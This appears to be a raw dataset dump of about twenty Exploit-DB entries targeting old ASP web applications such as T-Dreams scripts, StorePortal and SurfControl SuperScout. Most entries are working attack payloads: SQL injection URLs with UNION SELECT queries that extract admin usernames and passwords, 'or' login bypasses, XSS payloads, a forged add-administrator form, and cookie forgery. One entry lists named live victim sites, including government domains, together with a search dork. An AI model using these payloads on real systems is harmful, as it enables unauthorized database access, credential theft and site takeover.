deardaniel/secdata-raw huggingface dataset:
Exploit-DB #25701
Description: Spread The Word - Multiple SQL Injections
Type: webapps
Platform: asp
Date: 2005-05-24
Author: Lostmon

Exploit:
source: https://www.securityfocus.com/bid/13737/info

Spread The Word is prone to multiple SQL injection vulnerabilities. These issues are due to a failure in the application to properly sanitize user-supplied input before using it in SQL queries.

Successful exploitation could result in a compromise of the application, disclosure or modification of data, or may permit an attacker to exploit vulnerabilities in the underlying database implementation. 

http://www.example.com/store/BrowseCategories.asp?Cat0=783[SQL-INJECTION]&Cat0Literal=Gifts&Cat1=839&Cat1Literal=Bible
http://www.example.com/store/BrowseCategories.asp?Cat0=783&Cat0Literal=Gifts&Cat1=839[SQL-INJECTION]&Cat1Literal=Bible
http://www.example.com/store/Search.asp?SearchType=565[SQL-INJECTION]&strSearch=lalala
http://www.example.com/store/Search.asp?InStock=&SearchType=783&strSearch=1&SearchCat1=-1&SearchCat2=-1&PriceMin=&PriceMax=&PublicationDate='
http://www.example.com/store/ViewItem.asp?ISBN=[PII_REDACTED][SQL-INJECTION]&Cat0=565
http://www.example.com/store/ViewItem.asp?ISBN=[PII_REDACTED]&Cat0=565[SQL-INJECTION]
http://www.example.com/store/STWShowContent.asp?idRightPage=13032[SQL-INJECTION]
http://www.example.com/store/MySide.Asp?Cat0=565[SQL-INJECTION]&Cat0Literal=Bibles
http://www.example.com/store/BrowseMain.asp?Cat0=565[SQL-INJECTION]&Cat0Literal=Bibles&CurHigh=4
Exploit-DB #21914
Description: SSGBook 1.0 - Image Tag HTML Injection
Type: webapps
Platform: asp
Date: 2002-10-08
Author: frog

Exploit:
source: https://www.securityfocus.com/bid/5915/info

SSGbook includes codes for allowing users to specify HTML formatting and layout inside of guestbook entries. For example, a user can include an image by including it inside of [image] or [img] tags. However, arbitrary HTML and script code are not sufficiently sanitized within these tags.

As a result, users may include malicious HTML and script code inside of guestbook entries. The attacker-supplied code will be rendered in the web client of a user who views a malicious guestbook entry. 

[image]javascript:{SCRIPT}[/image]

[img=right]javascript:{SCRIPT}[/img=right]

[image=right]javascript:{SCRIPT}[/image=right]

[img=left]javascript:{SCRIPT}[/img=left]

[image=left]javascript:{SCRIPT}[/image=left]

[img]javascript:{SCRIPT}[/img]

[image]javascript:document.location="ss_admin.asp?Mode=Update&Acton=Access&UserName=Pom&[CREDENTIAL_REDACTED]";[/image]
Exploit-DB #25529
Description: StorePortal 2.63 - 'default.asp' Multiple SQL Injections
Type: webapps
Platform: asp
Date: 2005-04-25
Author: Dcrab

Exploit:
source: https://www.securityfocus.com/bid/13358/info

StorePortal is prone to multiple SQL injection vulnerabilities. These issues are due to a failure in the application to properly sanitize user-supplied input before using it in SQL queries.

Successful exploitation could result in a compromise of the application, disclosure or modification of data, or may permit an attacker to exploit vulnerabilities in the underlying database implementation. 

http://www.example.com/default.asp?language='[SQL injection]
http://www.example.com/default.asp?id=1&opr=2&amp%3bpic='[SQL injection]
http://www.example.com/default.asp?opr=35&id=1&idcategory='[SQL injection]&idcategoryp=1
http://www.example.com/default.asp?opr=35&id=1&idcategory=1&idcategoryp='[SQL injection]
http://www.example.com/default.asp?mnu=&id=1&opr=5&content='[SQL injection]
http://www.example.com/default.asp?id=1&opr=4&keyword='[SQL injection]
http://www.example.com/default.asp?opr=41&idcategory=11&idcategoryp=11&id=1&idproduct='[SQL injection]
Exploit-DB #5409
Description: SuperNET Shop 1.0 - SQL Injection
Type: webapps
Platform: asp
Date: 2008-04-08
Author: U238

Exploit:
-_-_--_-_--_-_--_-_--_-_--_-_--_-_--_-_--_-_--_-_--_-_--_-_

SuperNET Shop v1.0  Remote SQL Ã„Â°njection Vulnerability

Discovered By : U238 (ugur238)


webpage : ugur238.org (the end)


mail : setuid.noexec0x1@hotmail.com

>From : Turkey - Erzincan


Script : http://www.aspindir.com/indir.asp?ID=2

Script (alternativ) : http://rapidshare.de/files/39062184/supershop.zip.html

-_-_--_-_--_-_--_-_--_-_--_-_--_-_--_-_--_-_--_-_--_-_--_-

Exploit:

localhost:2222/lab/shop/secure/admin/guncelle.asp?id=1+union+select+0,KullaniciAdi,2,sifre,4,5,6,7,8,9+from+admin


Error File : guncelle.asp


Error Code : 

line - id = Request.QueryString("id")

line - SQL_L = "Select * from products WHERE id =" &id 


Admin Panel : target/secure/admin



-_-_--_-_--_-_--_-_--_-_--_-_--_-_--_-_--_-_--_-_--_-_--_-

Admin Panel Bypass Exploit : 


Error File : 

giris.asp


Error Code : 

Sorgu="select * from admin where KullaniciAdi = '" & request.form("kulad") & "' and Sifre = '" & Request.form("sifre") & "'"
Rs.Open Sorgu, Baglanti, 1, 3

------------------------

secure/admin/default.asp  

username : 'or'

password : 'or'


Ye34h lets see you now admin panell ; ) 



*/ Greatz : The_BekiR  - ZeberuS  - ka0x - nettoxic - fahn - str0ke


MUSTAFA KEMAL ATATURK -  ATAM Ã„Â°ZÃ„Â°NDEYIZ 

                                                                    /*

# milw0rm.com [2008-04-08]
Exploit-DB #21924
Description: SurfControl SuperScout Email Filter 3.5 - 'MsgError.asp' Cross-Site Scripting
Type: webapps
Platform: asp
Date: 2002-10-08
Author: ken@FTU

Exploit:
source: https://www.securityfocus.com/bid/5928/info

SurfControl SuperScout Email Filter comes with a web-based interface to provide remote access to administrative facilities.

The web-based admin interface is prone to cross-site scripting attacks.

It is possible to create a link containing malicious HTML and script code to certain pages in the interface. When this link is visited by a web user, the attacker-supplied script code will execute in user's web client in the security context of the web interface.

This may potentially be exploited to steal cookie-based authentication credentials from legitimate users of the interface.

http://www.example.com/web/msgError.asp?Redirect=loginhtm&Reason=<script>alert(document.cookie);</script>
Exploit-DB #21925
Description: SurfControl SuperScout Email Filter 3.5 - User Credential Disclosure
Type: webapps
Platform: asp
Date: 2002-10-08
Author: ken@FTU

Exploit:
source: https://www.securityfocus.com/bid/5929/info

SurfControl SuperScout Email Filter comes with a web-based interface to provide remote access to administrative facilities.

One of the files (userlist.asp) that comes with the web interface contains a listing of administrative usernames/passwords. Users who can access this file will gain access to authentication credentials for other users.

http://www.example.com/web/usermgr/userlist.asp
Exploit-DB #22744
Description: Synkron.Web 3.0 - HTML Injection
Type: webapps
Platform: asp
Date: 2003-06-06
Author: Gyrniff

Exploit:
source: https://www.securityfocus.com/bid/7833/info

Synkron.web is prone to HTML injection attacks. The vulnerability exists in the search script and is a result of insufficient sanitization of malicious HTML code from user-supplied input. HTML and script code may be echoed back when an existing user is views a cached search page.

Exploitation could allow for attacks that steal cookie-based authentication credentials.

http://www.example.net/sw000.asp?SearchCacheId=xx\
&SearchPageNumberII=1&SearchParaId=y&SearchParaType=zzz
Exploit-DB #14704
Description: T-dreams Announcement Script - SQL Injection
Type: webapps
Platform: asp
Date: 2010-08-21
Author: Br0wn Sug4r

Exploit:
-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=
# Exploit Title: T-dreams Announcement Script SQL injection Vulnerable
# Date: 21-08-2010
# Author: Br0wn Sug4r
# Software Link: http://www.t-dreams.com/download/announce.zip
# Version: n/a
# Tested on: Demo Site
# category: webapp
# Code : n/a
-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=
-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=
 Greets to: R45c4l, Sid3^effects, Shobhit, L0rd CruSad3r, Vaibhav, Sonic,
           Yash, KD , Rohit Nambiar, Th3 RDx
           Sorry if i missed sum names... but greets to them too :)
-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=
-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=
   Greetz To Team: I.C.W | Hackers Reunited | Indishell.in | ICA | AH
-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=
##############################################################################
%//

----- [ Founder ] -----

      Br0wn Sug4r

----- [ E - mail ] -----

   br0wn_sug4r@ymail.com


                                                       %\\
##############################################################################

##############################################################################
%//

----- [Title] -----

T-dreams Announcement Script SQL injection Vulnerable

----- [ Vendor ] -----

http://www.t-dreams.com/download/announce.zip

                                                        %\\
##############################################################################

##############################################################################
%//

----- [ Injection (s) ] -----

----- [ SQL Injection ] -----

Put [SQL CODE]

[Link] http://server/announcement/MainAnnounce2.asp?key=190[SQL CODE]


                                                        %\\
##############################################################################
Exploit-DB #15677
Description: T-Dreams Cars Ads Package 2.0 - SQL Injection
Type: webapps
Platform: asp
Date: 2010-12-04
Author: R4dc0re

Exploit:
# Author: R4dc0re
# Exploit Title: T-Dreams Cars Ads Package SQL injection Vulnerability
# Date: 04-12-2010
# Vendor or Software Link:http://t-dreams.com
# Category:WebApp
#Version:2.0
#Price:31$
#Contact: R4dc0re@yahoo.fr
#Website: www.1337db.com
#Greetings to: R0073r(1337db.com), L0rd CrusAd3r,Sid3^effects and to rest of the 1337db members 

Submit Your Exploit at Submit@1337db.com

########################################################################################
[Product Detail]

. JPhotos Upload to Database

. Up to 3 images per ad

. Car Makers & Car Models Categories

. Secure Members Area

. Member places many ads

. Web Based Administrating Area

. Easy to register Forms

. Information & Users Privacy

. Easy to merge with existing sites

. MS Access Included

. SQL Upgrading is enabled

. Open Source Code

[Vulnerability]

SQL Injection:

http://server/processview.asp?key=[Code]
########################################################################################
Exploit-DB #8627
Description: T-Dreams Job Career Package 3.0 - Insecure Cookie Handling
Type: webapps
Platform: asp
Date: 2009-05-07
Author: TiGeR-Dz

Exploit:
---------------------------------------------------------------
---------------------------------------------------------------
Job Career Package  V3.0  Insecure Cookie Handling Vulnerability
---------------------------------------------------------------
Founder : TiGeR-Dz
Home:WwW.h4ckF0u.CoM
Vendor:http://www.t-dreams.com
---------------------------------------------------------------
---------------------------------------------------------------
Job Career Package  V3.0  Insecure Cookie Handling Vulnerability
------------------------------------------------
http://victim/[path]/Admin/login.asp

Exploit
-------
javascript:document.cookie="JobCareerAdmin=Login;path=/";
Dem0
----
http://www.t-dreams.com/demo/jobcareerv3/Admin/login.asp
--------------------------------------

Greeting To ALL My Friends (Dz)
----------------------------------------------------------------

# milw0rm.com [2009-05-07]
Exploit-DB #15678
Description: T-Dreams Job Seekers Package 3.0 - SQL Injection
Type: webapps
Platform: asp
Date: 2010-12-04
Author: R4dc0re

Exploit:
# Author: R4dc0re
# Exploit Title: T-Dreams Job Seekers Package SQL injection Vulnerability
# Date: 04-12-2010
# Vendor or Software Link:http://t-dreams.com
# Category:WebApp
#Version:3.0
#Price:279$
#Contact: R4dc0re@yahoo.fr
#Website: www.1337db.com
#Greetings to: R0073r(1337db.com), L0rd CrusAd3r,Sid3^effects and to rest of the 1337db members 

Submit Your Exploit at Submit@1337db.com

########################################################################################
[Product Detail]

Job Seekers can post their C.V.s and contact employers for free.
Employers (companies) can post as many Job Ads as they need.
Users can modify their posts later or delete them through a security system.
The System is provided with Advanced Search Capabilities.. 
The system Allows admin to control how many Jobs Ads a company can post (e.g., for free). 
It allows too how many job seekers a company can contact (e.g., for free).. and a lot of related features

[Vulnerability]

SQL Injection:
http://server/jobcareerV3/Resumes/TD_RESUME_Indlist.asp?z_Residency=[Code]
########################################################################################
Exploit-DB #26969
Description: Tangora Portal CMS 4.0 - 'Action' Cross-Site Scripting
Type: webapps
Platform: asp
Date: 2005-12-22
Author: r0t3d3Vil

Exploit:
source: https://www.securityfocus.com/bid/16034/info

Tangora Portal CMS is prone to a cross-site scripting vulnerability. This issue is due to a failure in the application to properly sanitize user-supplied input.

An attacker may leverage this issue to have arbitrary script code executed in the browser of an unsuspecting user in the context of the affected site. This may facilitate the theft of cookie-based authentication credentials as well as other attacks. 

/page1631.aspx?action=[XSS]
/page496.aspx?action=[XSS]
Exploit-DB #3068
Description: TaskTracker 1.5 - 'Customize.asp' Remote Add Administrator
Type: webapps
Platform: asp
Date: 2007-01-01
Author: ajann

Exploit:
<!--

*******************************************************************************
# Title   :  TaskTracker All Version Remote Add Admin Exploit
# Author  :  ajann
# Contact :  :(
# S.Page  :  http://www.geckovich.com
# $$      :  $39.99 - $19.99

*******************************************************************************

-->

<FORM NAME="AddUser" METHOD="POST" ACTION="http://[target]/[path]/Customize.asp?a=Add" style="word-spacing: 0; margin-top: 0; margin-bottom: 0">
	<td valign=top class='data3'>
       	<input type=text size="1" name="Name" class=textboxes style='width:100; height:17; font-size: 10px;' VALUE="">
	</td>
	<td valign=top class='data3'>
		<input type=text size="1" name="Email" class=textboxes style='width:200; height:17; font-size: 10px;' VALUE="">
	</td>
	<td valign=top class='data3'>
		<input type=text size="1" name="UserName" class=textboxes style='width:100; height:17; font-size: 10px;' VALUE="">

	</td>
	<td valign=top class='data3'>
		<input type=text size="1" name="Password" class=textboxes style='width:100; height:17; font-size: 10px;' VALUE="">
	</td>
	<td valign=top class='data3'>
		<select name="GroupID" class="selectedtextboxes">
			<option value="1">Publisher</option>
			<option value="2">Editor</option>

			<option value="3">Administrator</option>
		</select>
	</td>
	<td valign=middle class='data3' align="center" colspan="2" align="center">
    	<input type="submit" value="Gonder">
    	</form>

# milw0rm.com [2007-01-01]
Exploit-DB #30313
Description: TBDev.NET DR - 'TakeProfEdit.php' HTML Injection
Type: webapps
Platform: asp
Date: 2007-07-16
Author: PescaoDeth

Exploit:
source: https://www.securityfocus.com/bid/24923/info

TBDev.NET DR is prone to an HTML-injection vulnerability because it fails to sufficiently sanitize user-supplied input data.

Exploiting this issue may allow an attacker to execute HTML and script code in the context of the affected site, to steal cookie-based authentication credentials, or to control how the site is rendered to the user; other attacks are also possible.

TBDev.NET DR 010306 and prior versions are vulnerable. 

version 11-10-05-BETA-SF1:111005 <=

 $avatar = $_POST["avatar"];

 where

 $_POST["avatar"]=javascript:alert(document.cookie);
  or
 $_POST["avatar"]="><script 
src=http://urlmaliciousJavaScript></script><";

-> last version  <= 010306
$_POST["avatar"]=javascript:alert(document.cookie);

go to
http://torrentvictim/userdetails.php?id=malicioususerprofileid
the souce code is:
...<tr><td class=rowhead>Avatar</td><td align=left><img src="\"><script
src=http://urlmaliciousJavaScript><script><\""></td></tr>...

or

...<tr><td class=rowhead>Avatar</td><td align=left><img
src="javascript:alert(document.cookie);"></td></tr>...
Exploit-DB #30198
Description: TDizin - 'Arama.asp' Cross-Site Scripting
Type: webapps
Platform: asp
Date: 2007-06-18
Author: GeFORC3

Exploit:
source: https://www.securityfocus.com/bid/24515/info

TDizin is prone to a cross-site scripting vulnerability because it fails to properly sanitize user-supplied input.

Exploiting this vulnerability may allow an attacker to perform cross-site scripting attacks on unsuspecting users in the context of the affected website. As a result, the attacker may be able to steal cookie-based authentication credentials and to launch other attacks.

http://www.example.com/TDizin/arama.asp?ara= "><script>alert("G3");</script>&submit=+T%27ARA+
Exploit-DB #31871
Description: Te Ecard - 'id' Multiple SQL Injections
Type: webapps
Platform: asp
Date: 2008-06-02
Author: Ugurcan Engyn

Exploit:
source: https://www.securityfocus.com/bid/29478/info

Te Ecard is prone to multiple SQL-injection vulnerabilities because it fails to sufficiently sanitize user-supplied input before using it in an SQL query.

Exploiting these issues could allow an attacker to compromise the application, access or modify data, or exploit latent vulnerabilities in the underlying database. 

http://www.example.com/victim/lab/tecard/admin/pul.asp?gorev=duzenle&id=1+union+select+0,sifre,2+from+editor
http://www.example.com/victim/lab/tecard/admin/pul.asp?gorev=duzenle&id=1+union+select+0,kullanici_adi,2+from+editor
http://www.example.com/tecard/admin/card.asp?gorev=duzenle&id=99999+union+select+0x31,null,2,3,sifre,5,6,kullanici_adi,5,0+from+editor+where+id=1
http://www.example.com/lab/tecard/admin/midi.asp?gorev=duzenle&id=1+union+select+0,1,kullanici_adi,3,4,sifre+from+editor
http://www.example.com/lab/tecard/admin/cat.asp?gorev=duzenle&id=1+union+select+kullanici_adi,1,sifre,3,4,5+from+editor
http://www.example.com/lab/tecard/admin/fon.asp?gorev=duzenle&id=1+union+select+0,sifre,2+from+editor
http://www.example.com/lab/tecard/admin/fon.asp?gorev=duzenle&id=1+union+select+0,kullanici_adi,2+from+editor
Exploit-DB #7982
Description: team 1.x - File Disclosure / Cross-Site Scripting
Type: webapps
Platform: asp
Date: 2009-02-04
Author: Pouya_Server

Exploit:
#########################################################
---------------------------------------------------------
Portal Name: Team Board
Version : all version
Google Dork : team5 studio all rights reserved site:cn
Author : Pouya_Server , Pouya.s3rver@Gmail.com
Vulnerability : (DD/XSS)
---------------------------------------------------------
#########################################################
[DD]:
http://site.com/[Path]/data/team.mdb
 
[XSS]:
http://site.com/[Path]/online.asp?lookname=>"><ScRiPt%20%0a%0d>alert(1369)%3B</ScRiPt>
---------------------------------
Victem :
http://cinv.vhost021.cn/team
http://sxx.gov.cn/bbs
http://gdemc.gov.cn/bbs
http://bslogistics.cn/bbs
http://qzjd.gov.cn/teams
http://szlhlib.com.cn/cgbbs
http://sh9383.com.cn/digibook
http://www.gsjnrk.gov.cn/team
http://www.sxlcfda.gov.cn/yjlt
---------------------------------------------------------
#########################################################

# milw0rm.com [2009-02-04]
Exploit-DB #26426
Description: Techno Dreams (Multiple Scripts) - Multiple SQL Injections
Type: webapps
Platform: asp
Date: 2005-10-26
Author: farhad koosha

Exploit:
source: https://www.securityfocus.com/bid/15215/info

Multiple Techno Dreams scripts are prone to multiple SQL injection vulnerabilities. These issues are due to a failure in the applications to properly sanitize user-supplied input before using it in SQL queries.

Successful exploitation could result in a compromise of the applications, disclosure or modification of data, or may permit an attacker to exploit vulnerabilities in the underlying database implementation.

<html>
<h1>Techno Dreams Announcement - Guestbook - WebDirectory Script
Login-Bypass PoC - Kapda `s advisory </h1>
<p> Discovery and exploit by farhadkey [at} kapda.ir</p>
<p><a href="http://www.kapda.ir/"> Kapda - Security Science Researchers
Institute
of Iran</a></p>
<form method="POST" action="http://www.example.com/admin/login.asp">
<input type="hidden" name="userid" value="[SQL Injection]">
<input type="hidden" name="passwd" value="1">
<input type="submit" value="Submit" name="submit">
</form></html>

<html>
<h1>Techno Dreams Mailing List Script Login-Bypass PoC - Kapda `s
advisory </h1>
<p> Discovery and exploit by farhadkey [at} kapda.ir</p>
<p><a href="http://www.kapda.ir/"> Kapda - Security Science Researchers
Institute
of Iran</a></p>
<form method="POST" action="http://www.example.com/login.asp">
<input type="hidden" name="userid" value="[SQL Injection}">
<input type="hidden" name="passwd" value="1">
<input type="submit" value="Submit" name="submit">
</form></html>
Exploit-DB #2683
Description: Techno Dreams Announcement - 'key' SQL Injection
Type: webapps
Platform: asp
Date: 2006-10-30
Author: ajann

Exploit:
*******************************************************************************
# Title  :  Techno Dreams Announcement (MainAnnounce2.asp) Remote SQL Injection Vulnerability
# Author :   ajann
# Script Page: http://www.t-dreams.com

*******************************************************************************

###http://[target]/[path]/MainAnnounce2.asp?key=[  SQL ]

Example:

//MainAnnounce2.asp?key=204%20union%20select%200,UserName,0,Password,0%20from%20admin


"""""""""""""""""""""
# ajann,Turkey
# ...

# Im not Hacker!

# milw0rm.com [2006-10-30]
Exploit-DB #2386
Description: Techno Dreams Articles & Papers 2.0 - SQL Injection
Type: webapps
Platform: asp
Date: 2006-09-17
Author: ajann

Exploit:
*******************************************************************************
# Title  :  Articles&Papers Package <=v2.0(ArticlesTableview.asp) Remote SQL Injection Vulnerability

# Author :   ajann

# Script Page : http://www.t-dreams.com

# Exploit;

*******************************************************************************

###http://[target]/[path]/ArticlesTableview.asp?key='[SQL HERE]

Example:
ArticlesTableview.asp?key=-1%20union%20select%200,0,0,0,userpassword,username,0,0,0,0,0,0,0,0%20from%20articlesusers%20where%20userid=18

Pls UserID Change(1,2,3,4,5.....)

# ajann,Turkey
# ...
# Im not [Turkish]Hacker!

# milw0rm.com [2006-09-17]
Exploit-DB #35048
Description: Techno Dreams Articles & Papers Package 2.0 - 'ArticlesTablelist.asp' SQL Injection
Type: webapps
Platform: asp
Date: 2010-12-04
Author: R4dc0re

Exploit:
source: https://www.securityfocus.com/bid/45201/info

Techno Dreams Articles & Papers Package is prone to an SQL-injection vulnerability because it fails to sufficiently sanitize user-supplied data before using it in an SQL query.

Exploiting this issue could allow an attacker to compromise the application, access or modify data, or exploit latent vulnerabilities in the underlying database.

Techno Dreams Articles & Papers Package 2.0 is vulnerable; other versions may also be affected. 

http://www.example.com/papers/ArticlesTablelist.asp?order=[Code]